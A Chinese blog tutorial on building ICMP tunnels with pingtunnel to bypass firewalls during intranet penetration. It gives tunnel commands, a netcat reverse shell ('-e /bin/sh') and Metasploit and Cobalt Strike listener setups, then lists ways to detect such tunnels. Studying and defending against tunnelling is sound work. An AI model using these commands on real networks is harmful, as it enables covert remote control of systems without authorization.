内网渗透(二)——ICMP隧道搭建

ICMP隧道

防⽕墙没有开放任何端⼝,但是icmp消息不使用端口号,而是通过IP头部中的协议字段来识别。在一些网络环境中,如果不经过认证,TCP和UDP数据包都会被拦截。如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的网络访问。

1、工具:pingtunnel

imcptunnel可以将IP流量封装进ICMP的ping数据包中,旨在利用ping穿透防火墙的检测,因为通常防火墙是不会屏蔽ping数据包的。

  • 穿透性好:由于ICMP报文通常被防火墙允许通过,ICMP隧道可以在一些防火墙限制比较严格的网络环境中使用
  • 协议广泛支持:ICMP是网络层的协议之一,几乎所有的操作系统和网络设备都支持它
  • 隐蔽性较差:在一些网络环境中,ICMP报文可能会被监控和过滤。

安装方法:https://blog.csdn.net/qq_45300786/article/details/110943803

通⽤参数:

  • -type client | server:指定当前是server还是client
  • -key:输入密钥
  • -nolog:不保留⽇志,默认为0

client 参数:

  • -l:本地端⼝,发送到本端⼝的流量会被转发
  • -s:服务器地址 ip
  • -t:⽬的地址,服务器地址 :端⼝号
  • -tcp:是否转发 tcp, 默认为 0

icmpsh

实验:ICMP隧道

client:777 => server:888

不需要端⼝ icmp 数据包 发送到机器后 => 再去找端⼝

搭建隧道:

1nc实现上线:

server: ./pingtunnel -type server -key 密钥

client: ./pingtunnel -type client -key 密钥 -s 本地地址 -l :本地开放端口 -t 目的地址:目的开放端口 -tcp 1

nohup 命令 &:将这条命令回写到文件里

jobs -l :查看后台执⾏任务的 pid

kill -9 进程号:终止进程

进行连接上线:

server:nc -lp 本地开放端口

client:nc -n 127.0.0.1 本地开放端口 -e /bin/sh

2CS实现上线:

CS上创建两个监听器

生产后门

3MSF实现上线

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 777

exploit

icmp 隧道防御

  • 同⼀来源 ICMP 数据包数量
  • Payload ⼤于 64bit 的数据包
  • 响应包中 Payload 和 请求包 Payload 不⼀致的 ICMP 数据包
  • ICMP 数据包协议标签,icmptunnel 所有的 ICMP 数据包的 Payload 中 添加⼀个 TUNL来表示特征
  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值